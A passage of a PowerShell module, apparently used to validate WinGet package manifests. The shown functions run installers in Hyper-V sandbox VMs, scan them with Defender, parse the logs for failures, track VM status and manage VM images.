`$_}catch{}}; - `$files | Select-String '[.]msi`$' | ForEach-Object {if (`$_ -match '$packageName') {Out-Log `$_ 'green'} else{Out-Log `$_ 'cyan'}; try{Start-Process `$_}catch{}}; - `$files | Select-String '[.]lnk`$' | ForEach-Object {if (`$_ -match '$packageName') {Out-Log `$_ 'green'} else{Out-Log `$_ 'cyan'}; try{Start-Process `$_}catch{}}; - - Out-Log `" = = = = End file list. Starting Defender scan. = = = = = `" - Start-MpScan; - - Out-Log `"Defender scan complete, closing windows...`" - Get-Process explorer -ErrorAction SilentlyContinue| where {`$_.id -ne `$explorerPid} | Stop-Process - Get-Process LiveCaptions -ErrorAction SilentlyContinue | Stop-Process - Get-Process Magnify -ErrorAction SilentlyContinue | Stop-Process -Force - Get-Process mip -ErrorAction SilentlyContinue | Stop-Process - Get-Process msedge -ErrorAction SilentlyContinue | Stop-Process -Force - Get-Process Narrator -ErrorAction SilentlyContinue | Stop-Process - Get-Process osk -ErrorAction SilentlyContinue | Stop-Process -Force - Get-Process powershell -ErrorAction SilentlyContinue | where {`$_.id -ne `$PID} | Stop-Process -force - - Get-process | Where-Object { `$_.mainwindowtitle -ne '' -and `$_.processname -notmatch '$packageName' -and `$_.processname -ne 'powershell' -and `$_.processname -ne 'WindowsTerminal' -and `$_.processname -ne 'csrss' -and `$_.processname -ne 'dwm'} | Stop-Process - #Get-Process | Where-Object {`$_.id -notmatch `$PID -and `$_.id -notmatch `$explorerPid -and `$_.processname -notmatch `$packageName -and `$_.processname -ne 'csrss' -and `$_.processname -ne 'dwm'} | Stop-Process - - `$WinGetLogs = ((Get-ChildItem `$WinGetLogFolder).fullname | ForEach-Object {Get-Content `$_ |Where-Object {`$_ -match '[[]FAIL[]]' -OR `$_ -match 'failed' -OR `$_ -match 'error' -OR `$_ -match 'does not match'}}) - `$DefenderThreat = (Get-MPThreat).ThreatName - `$SigVer = (Get-MpComputerStatus).QuickScanSignatureVersion - - Out-ErrorData `$WinGetLogs 'WinGet' - Out-ErrorData '$MDLog' 'Manual' 'Dependency' - Out-ErrorData `$Error 'PowerShell' - Out-ErrorData (Get-EventLog Application -EntryType Error -after `$TimeStart -ErrorAction Ignore).Message 'Application Log' - Out-ErrorData `$DefenderThreat `"Defender (with Security Intelligence version `$SigVer)`" - - if (`$DefenderThreat) { - Send-SharedError -clip (`$WinGetLogs + ' ' + '`n' + 'Detection: ' + `$DefenderThreat + '`n' + 'Defender Security Intelligence version: ' + `$SigVer) - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR - } elseif ((`$WinGetLogs -match '\[FAIL\] Installer failed security check.') -OR - (`$WinGetLogs -match 'Package hash verification failed') -OR - (`$WinGetLogs -match 'Operation did not complete successfully because the file contains a virus or potentially unwanted software')){ - Send-SharedError -clip (`$WinGetLogs + ' ') - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'SendStatus' -Package $PackageIdentifier -PR $PR - } elseif ((`$WinGetLogs -match 'The multi file manifest has inconsistent field values') -OR - (`$WinGetLogs -match 'valid root file')) { - Out-Log `" = = = = Failing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Out-Log $WinGetLogs - Get-TrackerVMSetStatus 'Complete' -Package $PackageIdentifier -PR $PR - } elseif ((Get-Content $RemoteTrackerModeFile) -eq 'IEDS') { - Out-Log `" = = = = Auto-Completing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'Approved' -Package $PackageIdentifier -PR $PR - } elseif ((Get-TrackerVMStatus | where {`$_.vm -match `$VM}).Mode -eq 'Existing') { - Out-Log `" = = = = Auto-Completing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'Approved' -Package $PackageIdentifier -PR $PR - } elseif ((Get-TrackerVMStatus | where {`$_.vm -match `$VM}).Mode -eq 'New') { - Out-Log `" = = = = Attempting Auto-Completion of Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'ValidationCompleted' -Package $PackageIdentifier -PR $PR - Get-installedVersions - } else { - Start-Process PowerShell - Out-Log `" = = = = Completing Manual Validation pipeline build $build on VM $VM for $PackageIdentifier $logLine in `$(((Get-Date) -`$TimeStart).TotalSeconds) seconds. = = = = `" - Get-TrackerVMSetStatus 'ValidationCompleted' -Package $PackageIdentifier -PR $PR - } - }; - Get-ScanStep - - - " - }#end Scan - Default { - Write-Host "Error: Bad Function" - Break; - } - } - $cmdsOut | Out-File $CmdsFileName - - if ($NoFiles -eq $False) { - if ($VM) { - $SplitManifest = Get-ManifestSplitter -PackageIdentifier $PackageIdentifier -PackageVersion $PackageVersion -OutputToVariable - - $InstallerFile = Get-ManifestValidation -StrArray $SplitManifest.installer -NoRun - Write-Host "InstallerFile $InstallerFile" - Get-ManifestFile -InstallerFile $InstallerFile -VM $VM - - $SplitManifest.remove("installer") - $root = $SplitManifest.Root - $SplitManifest.remove("root") - [string[]]$SplitManifestValues = $SplitManifest.values - $SplitManifestValues | %{ - $InstallerFile = Get-ManifestValidation -StrArray $_ -NoRun - Write-Host "InstallerFile $InstallerFile" - Get-ManifestFile -InstallerFile $InstallerFile -VM $VM - } - $InstallerFile = Get-ManifestValidation -StrArray $root -NoRun - Write-Host "InstallerFile $InstallerFile" - Get-ManifestFile -InstallerFile $InstallerFile -VM $VM - }#end if VM - }#end if NoFiles - if (!($Silent)) {Write-Host "File operations complete, starting VM operations."} - Get-TrackerVMLaunchWindow $VM - } - if (!$NoStaleCheck) {Get-StaleVMCheck} - }#end if PackageIdentifier -} - -Function Get-TrackerVMValidateByID { - Param( - [string]$PackageIdentifier - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByID $PackageIdentifier"}; - $PackageIdentifier = Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier - Get-TrackerVMValidate -installerLine "--id $PackageIdentifier" -PackageIdentifier $PackageIdentifier -NoFiles #-notElevated -} - -Function Get-TrackerVMValidateByConfig { - Param( - $PackageIdentifier = "Microsoft.Devhome", - $ManualDependency = "Git.Git" - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByConfig $PackageIdentifier"}; - $PackageIdentifier = Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier - Get-TrackerVMValidate -installerLine "--id $PackageIdentifier" -PackageIdentifier $PackageIdentifier -NoFiles -ManualDependency $ManualDependency -Operation "DevHomeConfig" - Start-Sleep $Enum.Num.Two - Get-TrackerVMValidate -installerLine "--id $ManualDependency" -PackageIdentifier $ManualDependency -NoFiles -Operation "Config" -} - -Function Get-TrackerVMValidateByArch { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByArch Start"}; - Get-TrackerVMValidate -Arch $Enum.Arch.64; - Start-Sleep $Enum.Num.Two; - Get-TrackerVMValidate -Arch $Enum.Arch.86; -} - -Function Get-TrackerVMValidateByScope { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateByScope Start"}; - Get-TrackerVMValidate -Scope Machine; - Start-Sleep $Enum.Num.Two; - Get-TrackerVMValidate -Scope User; -} - -Function Get-TrackerVMValidateBothArchAndScope { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMValidateBothArchAndScope Start"}; - Get-TrackerVMValidate -Arch $Enum.Arch.64 -Scope Machine; - Start-Sleep $Enum.Num.Two; - Get-TrackerVMValidate -Arch $Enum.Arch.86 -Scope Machine; - Start-Sleep $Enum.Num.Two; - Get-TrackerVMValidate -Arch $Enum.Arch.64 -Scope User; - Start-Sleep $Enum.Num.Two; - Get-TrackerVMValidate -Arch $Enum.Arch.86 -Scope User; -} - -#Manifests Etc -Function Get-InstallerFileAutomation { - Param( - [int]$PR - ) - [int]$PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-InstallerFileAutomation $PR2"}; - [string[]]$InstallerFile = (Get-CommitFile -PR $PR2) - Get-SingleFileAutomation -PR $PR2 -InstallerFile $InstallerFile -} - -Function Get-SingleFileAutomation { - Param( - [int]$PR, - [string[]]$InstallerFile, - [string[]]$InputData = ($InstallerFile -split "`n" | Where {$_ -match $Enum.ManifestKeys.PackageIdentifier}), - [string]$PackageIdentifier = (Get-SchemaCheck -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier -InputData $InputData[0]), - $version = ((Get-YamlValue $Enum.ManifestKeys.PackageVersion -InputArray $InstallerFile) | Get-RemoveQuotes), - $Filenames = (Get-ManifestListing $PackageIdentifier), - [int]$VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData (Get-NextFreeVM)) - ) - $PR2 = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-SingleFileAutomation $PR2"}; - for ($File = 0; $File -lt $Filenames.Length; $File++) { - Write-Host "SingleFileAutomation $PR2 - $File for VM $VM" - $InstallerFile = (Get-FileFromGitHub -PackageIdentifier $PackageIdentifier -Version $version -Suffix $Filenames[$File]) - Get-ManifestFile -InstallerFile $InstallerFile -PR $PR2 -PackageIdentifier $PackageIdentifier - } -} - -Function Get-ManifestFile { - Param( - [int]$VM = (Get-NextFreeVM), - [string[]]$InstallerFile, - [string]$FileName = "Package", - # [string]$PackageIdentifier = (Get-SchemaCheck -InputData $InstallerFile -YamlValue $Enum.ManifestKeys.PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), - [string]$PackageIdentifier = (Get-YamlValue -Key $Enum.ManifestKeys.PackageIdentifier -InputArray ($InstallerFile -split "`n")), - [int]$PR, - [string]$Arch, - [string]$OS, - [string]$Scope, - [switch]$Display - ); - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestFile $VM"}; - if ($VM) { - if ($Display) {Write-Output "InstallerFile: $InstallerFile"} - $VM = (Get-SchemaCheck -SchemaInfo $MVschemaData.VM.Number -InputData $VM) - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - #Write-Output "PackageIdentifier: $PackageIdentifier" - $manifestFolder = "$MainFolder\vm\$VM\manifest" - $InstallerFile = $InstallerFile | Where-Object {$_ -notmatch $Enum.Strings.MarkedThisConversationAsResolved} - - $YamlValue = (Get-YamlValue $Enum.ManifestVersionProperties.ManifestType -InputArray ($InstallerFile -split "`n")) - if ($Display) {Write-Output "YamlValue: $YamlValue"} - switch ($YamlValue) { - $Enum.ManifestFileTypes.defaultLocale { - $Locale = (Get-YamlValue PackageLocale -InputArray ($InstallerFile -split "`n")) - $FileName = "$FileName.locale.$Locale" - } - $Enum.ManifestFileTypes.Locale { - $Locale = (Get-YamlValue PackageLocale -InputArray ($InstallerFile -split "`n")) - $FileName = "$FileName.locale.$Locale" - } - $Enum.ManifestFileTypes.installer { - Get-RemoveFileIfExist "$manifestFolder" -remake - $FileName = "$FileName.installer" - } - $Enum.ManifestFileTypes.version { - if ($Arch) { - Get-TrackerVMValidate -vm $VM -NoFiles -Arch $Arch -PR $PR -PackageIdentifier $PackageIdentifier - } elseif ($OS) { - Get-TrackerVMValidate -vm $VM -NoFiles -OS $OS -PR $PR -PackageIdentifier $PackageIdentifier - } elseif ($Scope) { - Get-TrackerVMValidate -vm $VM -NoFiles -Scope $Scope -PR $PR -PackageIdentifier $PackageIdentifier - } else { - Get-TrackerVMValidate -vm $VM -NoFiles -PR $PR -PackageIdentifier $PackageIdentifier - } - } - Default { - Write-Output "Error: Bad ManifestType" - Return - } - } - $FilePath = "$manifestFolder\$FileName.yaml" - Write-Output "Writing $($InstallerFile.Length) lines to $FilePath" - # $InstallerFile -replace "0New version: ","0" -replace "0Add version: ","0" -replace "0Add ","0" -replace "0New ","0" | Out-File $FilePath -Encoding unicode - $InstallerFile | Out-File $FilePath -Encoding unicode - return $VM - } -} - -Function Get-ManifestListing {#Uses an unauthenticatable endpoint, so consumes unauthenticated API limits. - Param( - [string]$PackageIdentifier, - [string]$PI = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier), - $VersionNumber, - [string]$Path = ($PI -replace "[.]",$Enum.Char.Slash), - [string]$FirstLetter = ($PI[$Enum.Index.First].tostring().tolower()), - [string]$Uri = "$GitHubApiBaseUrl/contents/manifests/$FirstLetter/$Path/$VersionNumber/", - [Switch]$ListVersions - ) - $PackageIdentifier = $PI - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestListing $PackageIdentifier"}; - If ($ListVersions) { - $Uri = "$GitHubApiBaseUrl/contents/manifests/$FirstLetter/$Path/" - } else { - Write-Host "$($MyInvocation.MyCommand.name) $PackageIdentifier" - If (!($VersionNumber)) { - $VersionNumber = Get-ManifestVersion -PackageIdentifier $PackageIdentifier - } - $Uri = "$GitHubApiBaseUrl/contents/manifests/$FirstLetter/$Path/$VersionNumber/" - } - try{ - $out = (Invoke-GitHubRequest -Uri $Uri -JSON).name - }catch{ - $out = $Enum.Words.Error - } - $PackageIdentifier = $PackageIdentifier -replace "\+","\+" - $out = $out -replace "$($PackageIdentifier)[.]",$Enum.Char.Blank - return $out -} - -Function Get-ManifestVersion { - Param( - [string]$PackageIdentifier, - $VersionNumber, - [switch]$Display - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ManifestVersion $PackageIdentifier"}; - $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - $Invo = $($MyInvocation.MyCommand.name) - if ($Display) {Write-Host "$Invo"} - $GhRlRemain = ((Get-GitHubRateLimit) | where {$_.source -match $Enum.GitHubRateLimit.Unlogged}).remaining - if ($GhRlRemain -le 0) { - $WinGetOutput = Find-WinGetPackage $PackageIdentifier | where {$_.id -ceq $PackageIdentifier} - if ($Display) {Write-Host "$Invo - WinGetOutput: $WinGetOutput"} - $VersionNumber = $WinGetOutput.version - if ($Display) {Write-Host "$Invo - VersionNumber: $VersionNumber"} - } else { - [array]$ListVersions = (Get-ManifestListing -PackageIdentifier $PackageIdentifier -ListVersions) - if ($Display) {Write-Host "$Invo - ListVersions: $(ListVersions.count)"} - if ($ListVersions[$Enum.Index.First] -gt $ListVersions[$Enum.Index.Last]) {#Attempt to fix inferior GitHub version sorting. - $VersionNumber = $ListVersions[$Enum.Index.First] - if ($Display) {Write-Host "$Invo - First VersionNumber: $VersionNumber"} - } else { - $VersionNumber = $ListVersions[$Enum.Index.Last] - if ($Display) {Write-Host "$Invo - Last VersionNumber: $VersionNumber"} - }#end if ListVersions - }#end if DataSource - return $VersionNumber -} - -Function Get-OSFromVersion { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-OSFromVersion Start"}; - $Enum.VMOS.Win11 -} - -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -################################## - VM - ################################### -#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -#VM Image Management -<# VM Infrastructure: -- Image VM is named with the OS. This is kept turned off when not being updated. -- Copy of Image VM is made, and Pipeline VMs generated from it. To prevent locking issues with Image VM files. -- Pipeline VMs are named with an incrementing number. Expectation is for the system to have between 3-9 of these, depending on available RAM. - -Process: -- Build image manually - have been using Hyper-V Quick Create images. -- Delete old image VM before running Get-ImageVMMove. This will both move the storage drives to the correct location, and also rename the image VM to the OS name. -- Complete building image. Checkpoint with Get-ImageVMStop. -- Build new with Get-PipelineVmGenerate. -- There's ALWAYS a problem with the first build. -- Restart image VM with Get-ImageVMStart. -- If it was an OS issue, fix it. (Sometimes it's a hardware or copying issue. If one of these, skip this step.) -- Checkpoint with Get-ImageVMStop again. -- Build new with Get-PipelineVmGenerate again. -- Keep going through the lsat 4 steps until you get a working build. -- Let Get-TrackerVMRunTracker take over at this point. It will build until your RAM is full. -#> - -Function Get-PipelineVmGenerate { - Param( - [int]$VM = (Get-Content $VMCounter), - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, - [int]$version = (Get-TrackerVMVersion -OS $OS), - $destinationPath = "$imagesFolder\$VM\", - $VMFolder = "$MainFolder\vm\$VM", - $newVmName = ("vm$VM"), - $startTime = (Get-Date) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PipelineVmGenerate $VM"}; - Test-Admin - Write-Host "Creating VM $newVmName version $version OS $OS" - [int]$VM + 1|Out-File $VMCounter - "`"$VM`",`"Generating`",`"$version`",`"$OS`",`"`",`"1`",`"Creation`",`"0`""|Out-File $StatusFile -Append -Encoding unicode - Get-RemoveFileIfExist $destinationPath -remake - Get-RemoveFileIfExist $VMFolder -remake - $VMImageFolder = (ls "$imagesFolder\$OS-image\Virtual Machines\" *.vmcx).fullname - - $ImportEst = (get-date).AddSeconds(400).ToString($Enum.Char.T) - Write-Host "Takes about 400 seconds. (Until $($ImportEst).) Beginning import..." - Import-VM -Path $VMImageFolder -Copy -GenerateNewId -VhdDestinationPath $destinationPath -VirtualMachinePath $destinationPath; - $ImportSeconds = ((Get-Date)-$startTime).TotalSeconds - if ($ImportSeconds -gt 30) { - Write-Host "Import complete, taking $ImportSeconds seconds. Renaming..." - Rename-VM (Get-VM | Where-Object {($_.CheckpointFileLocation)+$Enum.Char.Backslash -eq $destinationPath}) -NewName $newVmName - Write-Host $Enum.Strings.RenameCompleteStarting - Start-VM $newVmName - Write-Host $Enum.Strings.StartingVmAndCleaningUpCheckpoints - Remove-VMCheckpoint -VMName $newVmName -Name "Backup" - Write-Host $Enum.Strings.RevertingVm - Get-TrackerVMRevert $VM - Write-Host $Enum.Strings.LaunchingVMWindowHandingOffToOrchestration - Get-TrackerVMLaunchWindow $VM - Write-Host "Took $ImportSeconds seconds." - } else { - Write-Host "Error: $ImportSeconds seconds is too short. Disgnenerating vm $VM" - Get-TrackerVMSetStatus -Status $Enum.VMStatus.Disgenerate -VM $VM - } -} - -Function Get-PipelineVmDisgenerate { - Param( - [Parameter(mandatory = $True)][int]$VM, - $destinationPath = "$imagesFolder\$VM\", - $VMFolder = "$MainFolder\vm\$VM", - $VMName = ("vm$VM") - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-PipelineVmDisgenerate $VM"}; - if ($VM -gt 0) { - Test-Admin - Get-TrackerVMSetStatus $Enum.VMStatus.Disgenerate $VM - Get-ConnectedVM | Where-Object {$_.vm -match $VMName} | ForEach-Object {Stop-Process -id $_.id} - Stop-TrackerVM $VM - Remove-VM -Name $VMName -Force - - $out = Get-Status - $out = $out | Where-Object {$_.vm -notmatch $VM} - Write-Status $out - - $delay = 15 - 0..$delay | ForEach-Object { - $pct = $_ / $delay * 100 - Write-Progress -Activity "Remove VM" -Status "$_ of $delay" -PercentComplete $pct - Start-Sleep $GitHubRateLimitDelay - } - Get-RemoveFileIfExist $destinationPath - Get-RemoveFileIfExist $VMFolder - Write-Progress -Activity "Remove VM" -Completed - } -} - -Function Get-ImageVMStart { - Param( - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11 - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ImageVMStart $OS"}; - Test-Admin - $VM = 0 - Start-VM $OS; - Get-TrackerVMRevert $VM $OS; - Get-TrackerVMLaunchWindow $VM $OS -} - -Function Get-ImageVMStop { - Param( - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11 - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ImageVMStop $OS"}; - Test-Admin - $VM = 0 - $OriginalLoc = $Enum.Char.Blank - # switch ($OS) { - # $Enum.VMOS.Win10 { - # $OriginalLoc = $Win10Folder - # } - # $Enum.VMOS.Win11 { - # } - # } - $OriginalLoc = $Win11Folder - $ImageLoc = "$imagesFolder\$OS-image\" - [int]$version = [int](Get-TrackerVMVersion -OS $OS) + 1 - Write-Host "Writing $OS version $version" - Get-TrackerVMSetVersion -Version $Version -OS $OS - Stop-Process -id ((Get-ConnectedVM)|Where-Object {$_.VM -match "$OS"}).id -ErrorAction Ignore - Redo-Checkpoint $VM $OS; - Stop-TrackerVM $VM $OS; - Write-Host $Enum.Strings.LettingVmCool - Start-Sleep 30; - Robocopy.exe $OriginalLoc $ImageLoc -mir -} - -Function Get-ImageVMMove { - Param( - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, - $CurrentVMName = $Enum.Char.Blank, - $newLoc = "$imagesFolder\$OS-Created$(get-date -f MMddyy)-Original" - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-ImageVMMove $OS"}; - Test-Admin - # switch ($OS) { - # $Enum.VMOS.Win10 { - # $CurrentVMName = "Windows 10 MSIX packaging environment" - # } - # $Enum.VMOS.Win11 { - # } - # } - $CurrentVMName = $Enum.Strings.Win11DevEnv - $VM = Get-VM | where {$_.Name -match $CurrentVMName} - Move-VMStorage -VM $VM -DestinationStoragePath $newLoc - Rename-VM -VM $VM -NewName $OS -} - -#VM Pipeline Management -Function Get-TrackerVMLaunchWindow { - Param( - [Parameter(mandatory = $True)][int]$VM, - $VMName = ("vm$VM") - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMLaunchWindow $VM"}; - Test-Admin - Get-ConnectedVM | Where-Object {$_.vm -match $VMName} | ForEach-Object {Stop-Process -id $_.id} - C:\Windows\System32\vmconnect.exe localhost $VMName -} - -Function Get-TrackerVMRevert { - Param( - [Parameter(mandatory = $True)][int]$VM, - $VMName = ("vm$VM"), - [Switch]$Silent - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRevert $VM"}; - Test-Admin - if ($Silent) { - Get-TrackerVMSetStatus $Enum.VMStatus.Restoring $VM -Silent - } else { - Get-TrackerVMSetStatus $Enum.VMStatus.Restoring $VM - } - Restore-VMCheckpoint -Name $CheckpointName -VMName $VMName -Confirm:$False - if ($Silent) { - Get-TrackerVMSetStatus $Enum.VMStatus.Ready $VM -Silent - } else { - Get-TrackerVMSetStatus $Enum.VMStatus.Ready $VM - } -} - -Function Complete-TrackerVM { - Param( - [Parameter(mandatory = $True)][int]$VM, - $VMFolder = "$MainFolder\vm\$VM", - $filesFileName = "$VMFolder\files.txt" - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Complete-TrackerVM $VM"}; - Test-Admin - Get-TrackerVMSetStatus $Enum.VMStatus.Completing $VM - Stop-Process -id ((Get-ConnectedVM)|Where-Object {$_.VM -match ("vm$VM")}).id -ErrorAction Ignore - Stop-TrackerVM $VM - Get-RemoveFileIfExist $filesFileName - Get-TrackerVMRevert $VM -Silent - Get-TrackerVMSetStatus $Enum.VMStatus.Ready $VM $Enum.Char.Space 1 $Enum.VMStatus.Ready -} - -Function Stop-TrackerVM { - Param( - [Parameter(mandatory = $True)][int]$VM, - $VMName = ("vm$VM") - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Stop-TrackerVM $VM"}; - Test-Admin - Stop-VM $VMName -TurnOff -} - -#VM Status -Function Get-TrackerVMSetStatus { - Param( - [ValidateScript( { $_ -in (Get-Keys $Enum.VMStatus)} )][string]$Status = $Enum.VMStatus.Complete, - [Parameter(mandatory = $True)]$VM, - [string]$PackageIdentifier, - [Parameter(ValueFromPipeline)][int]$PR, - [ValidateScript( { $_ -in (Get-Keys $Enum.VmModes)} )][string]$Mode, - [Switch]$Silent - ) - - $out = Get-Status - if ($VM -notmatch $Enum.Strings.Win) { - if ($Status) { - ($out | Where-Object {$_.vm -eq $VM}).Status = $Status - } - if ($PackageIdentifier) { - # $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - ($out | Where-Object {$_.vm -eq $VM}).Package = $PackageIdentifier - } - if ($PR) { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - ($out | Where-Object {$_.vm -eq $VM}).PR = $PR - } - if ($Mode) { - ($out | Where-Object {$_.vm -eq $VM}).Mode = $Mode - } - if ($Silent) { - Write-Status $out -Silent - } else { - - Write-Status $out - Write-Host "Setting $VM $PackageIdentifier $PR state $Status" - }; #end if Status - }; #end if VM -} - -Function Get-Status { - Param( - [int]$VM, - [ValidateScript( { $_ -in (Get-Keys $Enum.VMStatus) } )][string]$Status, - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS, - [string]$PackageIdentifier, - [Parameter(ValueFromPipeline)][int]$PR, - [ValidateScript( { $_ -in (Get-Keys $Enum.VmModes)} )][string]$Mode, - $RAM, - $out = (Get-Content $StatusFile | ConvertFrom-Csv) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMSetStatus $VM"}; - if ($VM) {$out = ($out | Where-Object {$_.vm -eq $VM})} - if ($Status) {$out = ($out | Where-Object {$_.Status -eq $Status})} - if ($OS) {$out = ($out | Where-Object {$_.OS -eq $OS})} - if ($PackageIdentifier) { - $PackageIdentifier = (Get-SchemaCheck -InputData $PackageIdentifier -SchemaInfo $schemaData.installer.definitions.PackageIdentifier) - $out = ($out | Where-Object {$_.Package -eq $PackageIdentifier}) - } - if ($PR) { - $PR = (Get-SchemaCheck -SchemaInfo $MVschemaData.PR.Number -InputData $PR) - $out = ($out | Where-Object {$_.PR -eq $PR}) - } - if ($Mode) {$out = ($out | Where-Object {$_.Mode -eq $Mode})} - if ($RAM) {$out = ($out | Where-Object {$_.RAM -eq $RAM})} - Return $out -} - -Function Get-TrackerVMResetStatus { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMResetStatus Start"}; - $VMs = (Get-Status -Status Ready -RAM 0).VM - $VMs += (Get-Status -Status Ready -PackageIdentifier $Enum.Char.Blank).VM - Foreach ($VM in $VMs) { - Get-TrackerVMSetStatus Complete $VM - } - if (!(Get-ConnectedVM)){ - Get-Process *vmwp* | Stop-Process - } -} - -Function Get-TrackerVMRebuildStatus { - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRebuildStatus Start"}; - $Status = Get-VM | - Where-Object {$_.name -notmatch "vm0"} | - Where-Object {$_.name -notmatch $Enum.VMOS.Win10} | - Where-Object {$_.name -notmatch $Enum.VMOS.Win11} | - Select-Object @{n =$Enum.Strings.Vm; e = {$_.name -replace $Enum.Strings.Vm,$null}}, - @{n = $Enum.Columns.Status; e = {$Enum.VMStatus.Ready}}, - @{n = $Enum.Columns.version; e = {(Get-TrackerVMVersion -OS $Enum.VMOS.Win11)}}, - @{n = $Enum.Columns.OS; e = {$Enum.VMOS.Win11}}, - @{n = $Enum.Columns.Package; e = {$Enum.Char.Blank}}, - @{n = $Enum.Columns.PR; e = {"1"}}, - @{n = $Enum.Columns.Mode; e = {$Enum.VmModes.Unknown}}, - @{n = $Enum.Columns.RAM; e = {"0"}} - Write-Status $Status -} - -Function Get-TrackerVMProcess { - Param( - [int]$VM - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMRebuildStatus $VM"}; - return (Get-process *vmwp* -IncludeUserName) | where {($_.username -replace "NT VIRTUAL MACHINE\\",$Enum.Char.Blank) -match (Get-VM ("vm$VM")).vmid} -} - -#VM Versioning -Function Get-TrackerVMVersion { - Param( - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = $Enum.VMOS.Win11, - [int]$VM = ((Get-Content $VMversion | ConvertFrom-Csv | Where-Object {$_.OS -eq $OS}).version) - ) - if (($FunctionTrace) -OR ($WhatIf) -OR ($Display)) {Write-FunctionTrace "Get-TrackerVMVersion $OS"}; - Return $VM -} - -Function Get-TrackerVMSetVersion { - Param( - [int]$Version, - [ValidateScript( { $_ -in $Enum.VMOS.Win11 } )][string]$OS = 